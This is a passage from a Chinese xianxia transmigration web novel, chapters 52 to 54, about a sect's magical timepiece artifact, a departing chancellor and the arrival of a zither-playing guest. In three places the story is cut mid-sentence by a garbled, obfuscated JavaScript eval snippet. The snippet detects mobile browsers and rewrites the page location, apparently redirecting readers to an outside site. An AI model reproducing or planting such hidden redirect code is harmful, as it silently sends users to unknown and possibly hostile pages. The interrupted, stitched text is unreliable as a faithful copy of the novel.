闻越停止了他快乐的咀嚼。 关云铮看向他:“你不会……?” 闻越沉痛地点了点头。 关云铮也跟着沉痛地拍了拍他的肩:“对了,还有,长期侧卧也会加重。” 闻越好像快要在她手掌下碎掉了。 关云铮凝重地思虑良久,还是轻轻拍了拍她三师兄的肩膀:“改为仰卧,两边轮流咀嚼或者同时咀嚼就能改善了,还有救。” 闻越默默舀起一勺珍珠放右侧咀嚼了。 章存舒笑眯眯:“云崽懂的好多。” 关云铮一边喝奶茶一边小幅度摇头,表示自己懂的只是皮毛。随即她又低声问道:“师父,你觉得我下山这一日,修为有增进吗?” 章存舒喝了口奶茶:“为何突然这么问?” 关云铮简单说了说自己刚才的疑惑。 章存舒罕见地没有立刻给出回答。 楚悯不做声地喝了一口奶茶,也陷入了思考。 关云铮摸着碗沿:“没事,也可能是我多心了。” 还没等这桌的师门众人回答,苍韫桢从另一张桌边起身,随意拖过一条长凳,在关云铮身后坐下:“你昨日下山,带回什么东西了吗?” 啊,忘了这茬了。 但将隐不是要以灵气为动力吗?以她现在的修为运作一次还得抽干她的灵气啊? 总不会这就是她的灵气异动吧? 异动不都是指突增吗,怎么还有暴跌的?这也能震开摇羽吗? 关云铮皱起脸:“将隐是这种作用吗?” 苍韫桢挑眉:“看来确实带回了什么东西,没准是那东西起了作用呢。” 关云铮简直一头雾水,不明白拿来“问”的东西怎么会影响到她的记忆。 苍韫桢喝完了自己的那碗茶:“我得回朝安了,最近事务繁忙,待不了太久。” 苍生道弟子和楚悯顿时齐刷刷起身。 章存舒坐着没动,喝了口奶茶后说道:“茶不错。” 苍韫桢笑了声:“那是自然。” 她正准备缩地成寸离开,忽然又想起些什么,看向关云铮道:“对了,严骛此行没带那法器。” 连映和江却不明所以,闻越楚悯关云铮三人却立时明白过来,关云铮不由追问:“您确定?” 苍韫桢对着他们一笑:“当然,因为那法器在我手上,新的法则也由我制定。” 52.第 52 章 苍韫桢说完就缩地成寸走了,留下师门众人面面相觑。 关云铮不太确定地想:刚才女帝是在耍帅吧?是吧? 但是能风轻云淡地说出这种话,关云铮得承认自己有被她装到。 柳卿知还坐在另一张桌边悠闲地喝着奶茶,此刻苍韫桢离开了,她无人相陪,总不好还让她独身坐在那边,关云铮只好搬着方才苍韫桢搬过来的凳子,蹭到她旁边坐下。 柳卿知和她在这之前并没见过,关云铮硬着头皮社交道:“柳相并非是为了监督严骛而来吗?” 柳卿知侧目看她,原本神情平淡的脸上显出一点微薄的笑意:“我并非为了监督仙盟而来。” 闻越为了解救云崽,也硬着头皮坐过来了,在桌子的另一边坐下:“那是为了什么?” 柳卿知放下勺子:“前阵子南方涝灾,听说了吗?” 关云铮心说要是这个前阵子指的是一个多月以前……那她肯定没听说过。毕竟那会儿她还是21世纪大学生呢,还没穿到这具躯体里。 好在闻越接了话,没让话茬落在地上:“知道,我大哥还捐了一批赈灾粮。” 柳卿知点了点头:“嗯,我估摸着最后也只有你大哥捐的这批粮,到了灾民们的手里。” 隔壁桌的人索性都移过来了,陆陆续续地各自坐下,江却依旧和连映坐在一起,楚悯在关云铮旁边坐下,章存舒坐在了闻越身边。 连映皱眉:“其余的赈灾粮呢?路上出了意外还是……?” 柳卿知:“这便是我此行目的。” 章存舒已经在喝第二碗奶茶了:“前段时间不是已经斩了一批贪官污吏?” 柳卿知低笑一声:“我倒不是没斩够,但我看他们是活够了。” 眼看她和章存舒沟通的内容逐渐走向听不懂的谜语人方向,关云铮暗自叹了一口气,正在心里打算之后问闻越时,柳卿知又接着说道:“原本此行缺乏由头,谁料正好严骛嚷嚷着要来归墟。” 那句话怎么说来着?真是刚打瞌睡就有好心人送枕头啊。 “那归程呢?你来时同他一起,归程却不见人影,严骛不会起疑心吗?”闻越困惑。 柳卿知喝了口奶茶:“我还不至于同他汇报我的行程。” 闻越被她梗了一下,熟悉的感觉涌上心头,默不作声地闭上嘴,嚼了一颗珍珠。 “原本我打算待会儿便启程。”柳卿知说,看向坐在她侧后方的关云铮。 关云铮感觉到注视,不明所以地咬着勺子抬头:? 柳卿知解答道:“但我想看看你们方才谈论的那个东西。” 关云铮更困惑了:“您的意思是,将隐?” **** 石桌加上秋千也坐不下这么多人,关云铮只好又从屋内搬出好久没登场的竹椅,正打算在外围找个地方把竹椅放下,围着石桌的一圈人已经不约而同地转过身朝她看过来。 她拎着两张竹椅站在房门口:“怎,怎么了?” 这么多人一起看过来怪吓人的。 章存舒侧身,让出一个位置。 关云铮放下竹椅,走到石桌前。 昨日回小院后就被她随手放在石桌上的将隐……和之前看起来不一样了。 三个互相嵌套的轮盘似乎转动过了,但是因为没有晷针,她的想法毫无依据,只是有种无端的既视感,好像这东西在过去不到一天的时间里偷偷转动过。 没有用灵气作为动力的情况下也能运转吗?难道说这东西不只可以拿来“问”? 关云铮伸手拿起那个小法器。 她认真观察着手心的东西,试图从细节处找出蛛丝马迹支持自己的猜想。也正因此,当将隐真的在她手心转动起来时,她甚至没能顾上开口,而是仔细地盯住了转动的轮盘,以及——那个没有实体的,“晷针”。 那是一个非常小的点。 像是有一束额外的光线照在了将隐之上,印出了一个光斑。 暗面上的亮光比亮面上的黑点更为扎眼,关云铮盯着那枚光斑逐渐从轮盘的右侧转到左侧,开口时语气带了点自己都没意识到的笃定:“我先前说的不对劲应该就是因为将隐。” 周围一片寂静。 关云铮后知后觉地抬头,发现大家都用一种微妙的眼神看着她。 她感觉到手里的轮盘又转动了一下,这次的过程很短暂,好像只“咔哒”了一下就停转了,她莫名意识到什么:“你们……看不到它在转?” 章存舒“嗯”了一声。 关云铮追问:“也看不到这个亮点?” 闻越一脸茫然地往她手心看了一眼:“哪有亮点?” 关云铮感觉到将隐又在转了,一股莫名其妙的力量驱使之下低头对将隐说道:“你先别转。” 刚要转起来的轮盘停了,那枚光斑也停了,几息后甚至闪烁着消失了。 关云铮放下将隐,对上周围的目光:“虽然我刚才真的很像撞鬼了……” 闻越丝滑地接话:“倒也没到那份上。” 关云铮被他逗笑了:“刚才它一直在我手心转,我最开始在想它是不是偷偷转过的时候,最下方那个最大的轮盘转了半圈多一点,中间的转了不到半圈,最上方的转了接近一圈。” 她试图用语言描述清楚自己看到的画面:“方才它又转了一下,最大的轮盘没动,中间那个也没动,最小的转了……”她一时想不到合适的形容,但脑子里已经有了对将隐的定义——它像个表盘。 最大的是时,中等的是分,最小的是秒。 但古代没有时分秒…… 好在在座的都是聪明人,她一番话说完,几人都露出了恍然的神色。 “我猜测,最底下的轮盘代表着时辰,中间的可能以一炷香为单位运转,最小的大概和滴漏同理?”关云铮把时分秒替换成古代的计时单位后说道,“第一次转动是因为离昨夜它被带回来到现在,已经过了半日多,所以最大的轮盘转了半圈多,中间的也转动了;后来则是因为我在想,你们为什么好像看不见它转动,也就是它第一次转动的这段时间,因此只有最小的轮盘转动了,并且只转了一点点。” 她自觉说得有点绕,刚想再解释两句,大家已经明白了,楚悯思忖着开口:“意思是,它能感知到你的思绪,并且为你回溯出答案?” 回溯。 关云铮被楚悯话里的词触动了一下,回答道:“我是这么认为的。” 这样一来,她原本想不起柳卿知的名字,却忽然又能回忆起来就能解释得通了。 至于为什么能在柳卿知转过脸看过来的当下,就解读出“朝廷中可能有人要倒霉了”,关云铮倾向于将隐可能也能够往前推演,或者说能够通过回溯给她总结出某种最大可能性。 这么一寻思,将隐简直像个被喂了太多大数据的ai助手啊。 章存舒拿起将隐打量了一会儿,又看向楚悯:“你……天问掌门什么时候做出这个法器的?” 关云铮意识到他原本想说你父亲,但突然想起昨晚桌边楚悯改口的事,因此也临时改口了。话说她师父怎么好像什么都知道,到底谁是天问? 怎么感觉将隐又在偷偷转了,光凭自己的话,她脑子真能转得这么快吗?长期下去她不会直接优化掉思考过程了吧? 楚悯如实相告:“我动身来归墟时还没见过这个法器,应当是这一月内做成的。” 江却问出了关云铮此刻最想知道的问题:“他为何要把此物给云铮?” 关云铮站在师门众人中间再一次被注视,一脸无辜:“别看我,我也想知道。” 楚悯笑起来:“我写信问问吧。” **** 楚悯写信期间,关云铮和闻越坐在一块说悄悄话。 “师兄,灯火为什么能传信?” “灯火?哦我知道了,那其实是一种术法,火是媒介,这边把信在火里燃尽,目的地的火里就会飞出那封信。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098066|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”闻越解释道。 关云铮又在奇思妙想:“那岂不是不能让那些心怀鬼胎的人学了去,学会了也太容易毁尸灭迹了。” 闻越煞有介事地点点头:“之前我也是跟师父这么说的。” 关云铮好奇:“师父怎么说?” 闻越面无表情:“他敲了一下我的脑袋。” “噗。”对不起师兄没忍住。 闻越继续说道:“这种术法需要事先确认两处火的位置,不然很可能到不了彼此手中。” “如果到不了,会如何?” 闻越思考了一会儿,没想出答案,看向一边默不作声的江却:“师兄,若是以火传信,但对面的火位置不明,信会如何?” 江却一抬眼,对上两张求知若渴的脸,难得顿了一下才说:“会选取离原定位置最近的火。” 关云铮“唔”了一声,感觉苍韫桢以后要是在外面烧火,不是,燃信,需要稍微注意着点,毕竟刻板印象里,皇宫内只隔一堵墙就不是一条心了,要是信落在别人手里那还了得,可得提防着点。 她胡思乱想着,忽然又想起闻越方才讲述测灵根法器时提到的话,忍不住胆大包天了一回,对着江却说道:“大师兄。” 江却看向她。 “你出关后和任师姐比试过吗?” 江却愣了一下,随即答道:“尚未,怎么了?” 关云铮无端雀跃:“没怎么,就是,你们千万别私下比试,开打前记得叫上我,我要看。” 闻越附和:“还有我,我也要看。” 江却正想说点什么,连映从他身后探出一张笑眯眯的脸:“那也叫上我吧,我也要看。” 关云铮点点头:“小悯忙着写信我替她说了,她到时候也要看。” 江却沉默片刻,实在没忍住笑出声来:“你们这么盼着我和任师姐比试?” 关云铮和闻越小鸡啄米式点头。 连映也在他身后点头:“当然。” 章存舒不知何时从楚悯的院子那边走过来了:“也好让我们看看,你的修为到了什么境界。” 柳卿知走在章存舒身后,闻言若有所思:“那看来我是赶不上了?” 关云铮听出她的言外之意:“柳相现在便要走?” 柳卿知点点头:“若不是那位突发奇想要来归墟一趟,我晨起便要离开了,无所事事待到现在,也尝过了你的手艺,可以知足了。” 关云铮怪惶恐的:“这算不得什么手艺。”煮奶茶这种事跟手艺没什么关系,既不用考虑熟没熟透又不用掂量着放盐,有什么手艺可言。 柳卿知笑笑,实话实说:“原本我想再留一会儿,既然来了就做足样子,去敲打一番严骛以及他背后的仙盟。” 关云铮和闻越的脸上顿时露出可惜的神色。 虽然很缺德但是真的很想看看柳相会怎么敲打严骛。 柳卿知像是想起什么好笑的事,嘴角上扬些许:“但是方才你们师父说,有人会来敲打他的,既如此,我便先走了。” 关云铮和闻越又一齐看向站在旁边的章存舒,两双眼睛里毫无对知识的渴望,只余对八卦的钟情。 章存舒看了他们一眼,卖关子:“傍晚应该就要到了。” 柳卿知配合着点点头:“我就先下山去了,时间还够去闻家找老友蹭个饭。” 关云铮本来还想问柳卿知怎么不留下吃个饭,听见后半句羡慕地把话咽回去了。闻家的饭,想想就知道有多香,呜呜。 转头看了眼闻越,不出意料地看见闻家小少爷的面部表情也从“嘻嘻”变成了“不嘻嘻”。 关云铮面带安慰地拍了拍闻越的肩膀:“想开点,你要是也在,少不得聊些你幼时的事。” 闻越的脸顿时更垮了:“你以为我不在他们就不会聊了吗?” 关云铮露出“我懂”的表情,又拍了拍闻越的肩:“但你不在就听不见了,可以自欺。” 闻越:“……” 53.第 53 章 既然能照出识海的法器已经归属苍韫桢,严骛此人对于关云铮而言也就没什么好忌惮的了,柳卿知要走的时候她还跟着下山去送了送。 “您来时也是骑马?从朝安城到镜溪?”关云铮看见柳卿知纵身上马震惊道。 如果这个世界的地图跟她印象中差不多的话,那朝安城到镜溪,应该至少是从京城到淮河以南了?那就至少一千公里了?就算是传说中的千里马,日夜不休也得跑两天,这都坐得住? 柳卿知坐在马背上一拉缰绳,腰背挺得很直:“是啊。” 关云铮肃然起敬。 闻越一副习以为常的样子,靠在树上对关云铮摆摆手:“她骑射比我大哥都在行。” 柳卿知笑了声,用腿一夹马腹:“走了,诸位来日见。” 众人直到她的身影淡出视野,才陆续收回视线。 关云铮和楚悯并肩往回走,闻越走在两人身侧伸了个懒腰:“她这一去,某些人怕是要倒霉咯。” 楚悯深以为然地点点头。 关云铮走出几步忽然想起什么,看向闻越:“师兄,柳相的马怎么栓得这么远?” 闻越起初没反应过来,随即忍俊不禁:“因为昨日她来的时候,这段路是石阶,马不好走。” 关云铮疑惑:“哪来的石阶?为什么今日又没了?” 章存舒在她身后懒散接话:“为了迎接仙盟铺设的,今日仙盟在山上呢,就懒得铺了。” 关云铮和楚悯对视一眼,都没忍住,各自强行压着嘴角不让自己笑得太放肆。 章存舒凑到关云铮和楚悯身边:“其实就是个小法术,想学吗?” 关云铮如实相告:“原本还挺想学的,但师父你这个语气……” 感觉就像是那种摆了算命摊子实则诈骗的,一开口就是“我观你印堂发黑,近日恐怕有血光之灾”,要不是知道章存舒不可能搞什么歪门邪道,她会以为自己师父下一秒要从怀里掏出一本修真大全,口中念着“少年我看你筋骨清奇是修道的好苗子”就冲上来了。 章存舒幽幽叹了口气:“我在你们心中到底是什么形象?” 闻越从另一边探出个脑袋:“师父您多虑了,您压根没有形象。” 关云铮听完,默默拉着楚悯的衣袖退后半步,让人菜瘾大的三师兄直面师父的怒火。 章存舒不知道是不是被气习惯了,只是看了闻越一眼,没说话,对着关云铮和楚悯继续说起方才的话题:“我也是从别人那学来的,是个幻术,只是幻术的真实程度会随着使用者的境界提升而提升。” 关云铮不为所动:“那现在的我学了岂不是会被一眼看穿?” 章存舒不答反问:“你觉得你现在是何种境界?” 关云铮被问得愣了一下:“难道我进步了?” 不应该吧,她又不是什么修道天才,当时引气入体还花了那么长时间呢。 章存舒神神秘秘的:“这你该问你自己。”说完他又问,“想学吗?这幻术?” 关云铮简直想笑,忍不住问他:“师父为何想让我学?” 章存舒相当坦诚:“我虽是你的师父,但到现在什么也没教过你,这不是难得有个机会。” 连映和江却已经从落后于三人的位置走到了和他们并列,连映听了这话笑道:“师父你今日好奇怪。” 章存舒老神在在的:“这幻术难道不有意思吗?” 关云铮只好笑着承认:“有意思有意思,那就学吧。” **** 李演坐在桌边喝给他留的那份奶茶,关云铮揽过做饭的任务,正准备去菜地里扒拉几盘菜出来,发现江却已经提着菜篮子回来了。 连映走在他身后,朝关云铮招呼着:“方才比你们早些回来,就和阿却去菜地里摘了些菜。” 关云铮和楚悯凑上前,两个脑袋探进菜篮。 连映笑盈盈的:“够吗?我没下过厨,不太清楚分量。” 关云铮把菜篮里的菜点了点:“够了,我去洗菜。” 闻越不知道什么时候走到关云铮身后,闻言搭了一下她的肩膀:“我和师兄去洗,你和师姐歇着。” 楚悯刚想开口,闻越若有所觉地一侧头:“小悯也歇着。” “那就多谢二位师兄啦。”关云铮乐得偷懒,嘴甜道。 两个师兄提着菜篮子出去洗菜了,三个姑娘一起坐回桌边。 连映解释道:“闻越不知道从哪里听来的,一直坚持姑娘家的手要少沾水。” 关云铮觉得好笑:“那我们还得练剑呢,我待会儿还得切菜做菜。” 虽说是好心,但光是不沾水怕是帮助不大。 楚悯帮着解释道:“我之前听过,反复沾水又被风吹干的话,皮肤容易皲裂。” 啊,这倒也是,她都忘了还有这茬了,好像冬天会格外严重,手在热水里浸泡过又吹冷风,关节很容易干裂。 关云铮煞有介事地点点头:“那就更得感谢两位师兄了。”不过说到师兄……她看向连映,“师姐和大师兄是同龄吗?” 连映笑着回答:“他比我大几个月。”像是猜到了关云铮要问什么,她接着说道,“我和阿却都是孤儿,一起被师父捡回来的。” 关云铮:最近怎么都在问死亡话题,不想活了。 大概是她脸上的死意太过明显,楚悯都没忍住笑出声来,伸出手摸了摸关云铮的手背以作安抚:“师姐那时几岁?” 连映想了想:“大概六岁?那几年过得比较浑噩,记不太清楚了。” 关云铮双眼空洞,嘴上喃喃道:“我真该死啊……” 连映捏了一把她的脸:“说什么呢。我早都不在意了,要是在意我自己还提起来做什么?怎么这么长时间了同我们说话还有这些顾忌。” 关云铮比划着:“那不是,越是亲近越容易无所顾忌吗,万一说错话什么的,造成的伤害也越严重。” 连映歪头看她:“我们都知道那一定是你无心之失呀。” 楚悯深有同感地点点头:“是呀。” 关云铮鼻子发酸,好半晌什么也没说出来,于是只好把自己砸师姐怀里了。 “我知道了。”她声音闷闷的。 连映笑着揉了揉她的脑袋。 闻越洗菜回来看见这个场面还以为出什么事了,凑上来扒拉了几下关云铮,发现她脸上没有哭过的痕迹才说:“怎么了这是?” 连映笑着说:“云崽问我和阿却小时候的事。” 闻越恍然:“觉得戳师姐痛处了,愧疚呢?” 关云铮默默移开视线。 闻越也揉了一把她的脑袋:“师姐要是不愿提,你也没机会开口了,这么拘谨做什么?” 江却放下菜篮子,在连映身边坐下:“也可以问我。” 关云铮感觉自己又被空气呛了,闻言忙不迭摆手:“不不,我先不问了。” 几人围着关云铮坐着,看她这样都笑起来。 “聊什么呢?”章存舒跨过门槛走进来。 关云铮揣上菜篮就窜到灶台边了:“我做菜去了。” 章存舒看了眼明显有点不对劲的关云铮,又看了眼笑盈盈的连映,心知没什么大事,于是晃悠到关云铮旁边靠着:“趁这会儿给你讲讲方才那个术法?” 关云铮在切菜的间隙里点点头,听他在旁边解释:“此术法名叫蜃景。” 她手中刀没停:“海市蜃楼?” 章存舒颔首:“正是。” 关云铮把洗净的茄子切段,装进碟子备用,又从不知何时站在一旁的楚悯手里接过别的洗净的菜,做完这一串动作一抬头,发现章存舒停了话茬在看自己切菜,不由来了句:“师父你继续。” 章存舒失笑:“怕你分心切着手。” 关云铮动作一顿,故作怨念:“您盼我点好。” 章存舒笑了笑:“你能说出海市蜃楼,想必了解此景出现的原理。因此施展这个术法必须在有光的前提下,若是处在黑暗中,术法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109552|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是无法成功施展的。” 楚悯若有所思地点点头,关云铮熟练地把丝瓜切片,答道:“这倒是,没光形成不了。” 章存舒靠在旁边继续说道:“接下来,施展幻术就需要依靠灵气的运用了。” 她就知道。 关云铮认命地叹了一口气,架锅烧油:“那符咒呢?需要吗?” 灵气运用和符咒使用简直就是修仙界的两大基本守则,所有的术法基本都得围绕这两点进行,再奇幻的术法都得依靠这两点构建出骨架,拥有稳固的骨架之后才能生长出饱满的血|肉。 所以干脆告诉她还需要符咒运用也非常熟练得了,这样她就彻底对蜃景这个术法死心了。 毕竟她到现在也不会一笔画完符咒,每次都因为画的时候太过疲惫而进行得断断续续,符咒的效用也因此无法发挥到最佳状态。 章存舒笑起来:“那得看你要铺多大的蜃景了。 若是你的院子那么大,用不上符咒;若是归墟这么大,不仅要用上符咒辅助,还需要画出法阵支撑,不然蜃景的维系全靠一人,容易反噬。” 冷菜下锅的爆响。 关云铮在陡然喧哗起来的环境中对章存舒说:“那我明日学?” 章存舒像是没想到她会主动敲定时间,看了她片刻才说:“你愿意学,我自然是随时恭候。小悯呢?和云崽一起学?” 楚悯点点头。 然后两人就被专心炒菜的关小厨给扒拉到一边去了,以免他俩被热油溅到身上。 **** 饭菜被陆续端上桌。 修仙之后体力都变好了,以前炒俩菜都能给她累好半天——不排除是在寝室偷偷做菜太考验心态和胆量的原因,现在炒了一桌子菜也没觉出累,仿佛被每天练剑练术法的日子PUA了,一闲下来就觉得不做点什么运动量就没达标似的。关云铮一边在心里吐槽,一边给自己夹了一筷子丝瓜炒蛋。 方才李演喝完奶茶闲不住,把茶碗洗了又去菜地翻了一遍土,此刻回来坐在章存舒身边,看了眼桌上丰盛的菜色,惊讶:“做这么多菜?” 关云铮和闻越异口同声:“多吗?七个人呢。” 李演颇觉好笑:“你俩……” 老吃货了。 关云铮自己在心里点评道。 闻越美滋滋地吃着菜,忽然想起什么:“师父,你方才说的那个敲打严骛的人还没来?” 是哦,不是说傍晚就该到了吗,现在也算是傍晚了吧,正是敲打仙盟的好时候啊!缺德乐子人关云铮这样想道。 章存舒面色平静地吃了口菜,完全没在着急:“尚未,等等,”他忽然一顿,“来了。” 江却夹菜的动作也一顿:“护山大阵感应到了?” 章存舒点头:“也不知道吃过没。” 连映已经起身了:“我去添副碗筷。” 章存舒笑眯眯的:“先不急,”他扭头看向关云铮,“云崽随我一同去迎接一下我们的客人?” 关云铮敏锐地意识到不对劲,放下筷子起身,看着同步起身的章存舒,狐疑:“是我认识的人?” 章存舒一边往外走一边回答:“去了就知道了。” 关云铮跟上他的脚步,嘴上没忘了吐槽他:“师父你一直这样吗?” 章存舒微微侧头:“我怎么?” 关云铮撇嘴:“故作神秘。” 她的谜语人师父哈哈大笑:“你知道是谁了?” 关云铮摊开双手,一耸肩:“我认识的,会来归墟的,你也认识的,还能在言语上敲打严骛的,”她目光炯炯,“我赌一碗奶茶,是苏逢雨。” 章存舒也学她的模样摊开双手:“你看,你都猜出来了,这不能叫故作神秘吧?” 关云铮被击败了,半晌憋出来一句:“师父你好会诡辩。” 章存舒浑不在意:“能说赢就行了,诡不诡的就无关紧要了。” 话是这么说,但你都在教什么歪理啊这位师父! 54.第 54 章 关云铮设想了几种苏逢雨抵达归墟的方式:虽然昨日见面她并未佩剑,但御剑而来也不是不可能;也有可能像柳卿知一样骑马,但她不知道柳卿知从朝安城来镜溪花了几日,也不知道盈川和朝安相比,哪个离归墟更近,因此也不敢断定一天之内就能策马从盈川赶来。 总之经过一番设想,此刻她对于待会儿苏逢雨现身时的模样十分好奇。 ——结果没想到苏逢雨除了琴什么也没带。 佩剑没有痕迹,马也没有痕迹。 总不能都收进乾坤袋里了吧?收剑倒不是不行,把马也收进去会不会太小众了一点?只看见她一人抱着一张琴,应该说明她既非御剑也非骑马而来。 章存舒依旧有读心术,看穿她脸上那点细微的好奇和纠结,先一步对苏逢雨说道:“昨日不是还在盈川?怎么来得这么快?” 苏逢雨抱着琴向二人走来:“坐灵舟来的。” 差点忘了还有这种相对常规的交通工具,以后找个机会见识一下。 苏逢雨走到章存舒面前,眉眼间不太愉悦的模样:“最近灵舟上的隐匿阵法有些失灵,干脆来找你修补一番。” 章存舒转身,带着小徒弟和客人回去,揶揄道:“那你这一路从盈川过来,岂非格外醒目?” 苏逢雨抱着琴,冷哼一声:“当我没学过阵法?技艺略逊于你而已,至于招摇过市?” 走在一边的关云铮看似沉默,实则正聚精会神地听着两人的对话,生怕错过她师父和别人斗嘴的细节,毕竟没见过师父和谁的相处模式是这样的,还怪有意思的。 章存舒故作恍然大悟:“我还当你是为好友而来,原来竟不是?” 苏逢雨在归墟有章存舒之外的好友? 苏逢雨把琴收回乾坤袋里:“什么好友?不是你传信给我,让我来教你学生琴修技艺?”她皱起眉,“说话总藏一半。” 关云铮在一旁深有同感地点点头,要不是这是她师父并且对她还挺好,她一堆吐槽的话已经要涌到嘴边了。 章存舒闻言反倒困惑道:“你不知道?既然没同你说,那我也不好擅自告诉你。” 苏逢雨面无表情地把还没收回去的乾坤袋砸章存舒身上了。 哇哦,\打起来/\打起来/。 反正也出不了什么大事,她相信自己师父有分寸。关云铮这样想着,在心里缺德地摇旗呐喊。 章存舒接住苏逢雨的乾坤袋,收起笑容正色道:“隐匿阵法失灵不至于令你如此不快,难道盈川的事不顺利?”他问完又看了眼走在一边的关云铮,眼神带着点询问意味。 关云铮也不知道苏逢雨是因为什么事不高兴,盈川的事都交给天问处置了,怎么也说不上不顺利,因此她对上章存舒的视线时,也只能摊开手摇摇头。 苏逢雨懒得解释,拿回章存舒手里的乾坤袋,重新提起先前的话题:“你说我是为了好友而来?” 三人说话间已经回到归墟,章存舒看向苏逢雨:“你不知道?蒲飞鸢也在这。” **** 关云铮和章存舒一前一后地回到餐桌边,楚悯看向关云铮,不解问道:“客人没一起来吗?” 连映也看向章存舒:“客人不来吃饭,是已经去休息了?” 两人离开有一会儿了,好在青镜山上不冷,饭菜不算凉得特别彻底,章存舒夹了一筷子放进碗里才说:“她有事要处理。” 关云铮也有点没反应过来地在桌边坐下,对上楚悯关切的视线后回过神,悄悄凑到她耳边:“昨晚师父不是说了过些日子会来一位江湖散修,负责你的琴修学习吗?” 楚悯明白了:“来客就是那位琴修?” 关云铮点点头,想了想又小声说道:“她和蒲先生似乎是好友。” 楚悯疑惑:“为何说似乎?” 关云铮回忆了一下方才苏逢雨的脸色变换,如实答道:“因为她方才看起来更像是和蒲先生有仇,但师父说她俩是好友。” 两个人对视一会儿,都在对方的眼里看到了对苏逢雨态度的困惑,以及对章存舒言论的怀疑。 所以说谜语人当久了就会被人当成骗子。就连谁是卧底这种偏轻松向的游戏里,都会在开局刀掉几个说话似是而非的倒霉鬼。 或许是苏逢雨有很多好友,所以乍听“好友”这个说辞,没想到蒲飞鸢身上;也或许是她以为蒲飞鸢不在此地,那就有可能是蒲飞鸢没有告诉她自己的去向;当然了,以章存舒平日说话动辄说一半藏一半的坏习惯来看,还很有可能是因为苏逢雨与他认识久了,不大相信他说的话。 三个理由关云铮自忖都非常有道理,但这些理由,好像都没法解释苏逢雨刚才那又是惊讶又是生气的神情吧? 说真的,虽然她一直喜欢吐槽小说里的扇形图神情描写,但方才苏逢雨的神色不用上扇形图居然都没法精准形容。 她听了章存舒的话先是惊讶和怔愣,接着转换成了非常短暂的愉悦,眼睛都亮起来几分似的,随后情绪直转而下,变成了比他们迎接她那时的脸色更明显的不虞。 关云铮默默吃菜,觉得蒲飞鸢很有可能要被谴责了。 苏逢雨的神色不似作伪也没有必要作伪,惊讶大概是因为蒲飞鸢真的没同她说过,愉悦自然是因为在他乡能遇见好友,只是她的惊讶和愉悦都非常短暂,因为她很快就反应过来,章存舒会认为她此行是为了蒲飞鸢,而蒲飞鸢却不曾告知自己她身在此处。 大概有种和朋友之间的事从别人口中得知的不爽感。 希望蒲先生能够招架苏逢雨的怒火,毕竟后者像是气极时会用古琴砸人的主。 **** 严骛记录完需要补全的卷册页码,又抢着要替褚鹤贤分忧,在手边的纸上写下几个字,并背出几句某卷书册的内容,表示自己无论是字迹还是记性,都能胜任这补全的活。 发脾气对于褚鹤贤这个年纪的人来说是件挺消磨精力的事,他早年脾气其实不怎么样,经常能听到教授的学生私下里抱怨,说他太过严苛,平日里完全不见笑影。 随着年纪增长,他对完成某件事的标准依旧严格,对人的评价也依旧不留情面,但标准逐渐变得只是个标准,他对那些不符合标准的人懒得多费口舌。 多说无益,标准留着律己就够了。人生苦短,他得把精力留给别的事。 也正因此,哪怕他始终厌恶仙盟的多数行径,也不怎么喜欢严骛这个人,但还是没说什么,把准备拿来补全书册的纸分给他一半:“待会儿太阳落山,你去帮我把练武场上晒的书收回来,估计闻越那小子会忘记收,收回来后你就不用留在这抄书了。” 不知道严骛是不是听过他以前严苛的名声,听他平心静气地对自己说话,看着像是十分受宠若惊似的,忙不迭地答应:“好,多谢先生。” 褚鹤贤无言片刻,还是说道:“你不必来我这卖乖,仙盟人在仙门向来是得不到什么好脸色的。” 严骛脸上那点欣喜迅速地黯淡了下去,他轻声答道:“我知道,先生。” 褚鹤贤看他这样简直想叹气,这委屈的模样仿佛自己打骂他了一般,这像话吗? “仙盟今年怎会突然有了观摩教习的打算?头两年办的时候也没见你们吱声。”褚鹤贤在另一张书桌边坐下,拿了墨锭研墨。 严骛回答不了这个问题,他还没坐上第一把手的位置,仙盟的打算可不是他能置喙的。 褚鹤贤也没打算从他那听到回答,研完墨就专心开始默写了。 大家都觉得仙盟此番的决定突然,但归墟竟然一个弟子都不在,甚至弟子在此处的生活痕迹都不大看得出来,想必是早就得到消息,提前做了打算。 能提早这么多日子就得到消息……难道说是皇帝透露的? 他知道章存舒在各处仙门都有人脉,但当朝皇帝从小就不长在朝安城,回到朝安时章存舒已经随师门四处游历了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114493|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,按说……两人不该认识啊。 有哪处遗漏了,仙盟未曾记录在册?就像章存舒师兄的名字一样。 ——被仙盟“惦记”的章存舒正在跟苏逢雨解释:“这几天不用给学生上课,她不在山上也实属正常。” 苏逢雨一掀眼皮:“你说这话是以什么立场?” 坐在秋千上的关云铮和楚悯齐齐打了个寒颤。 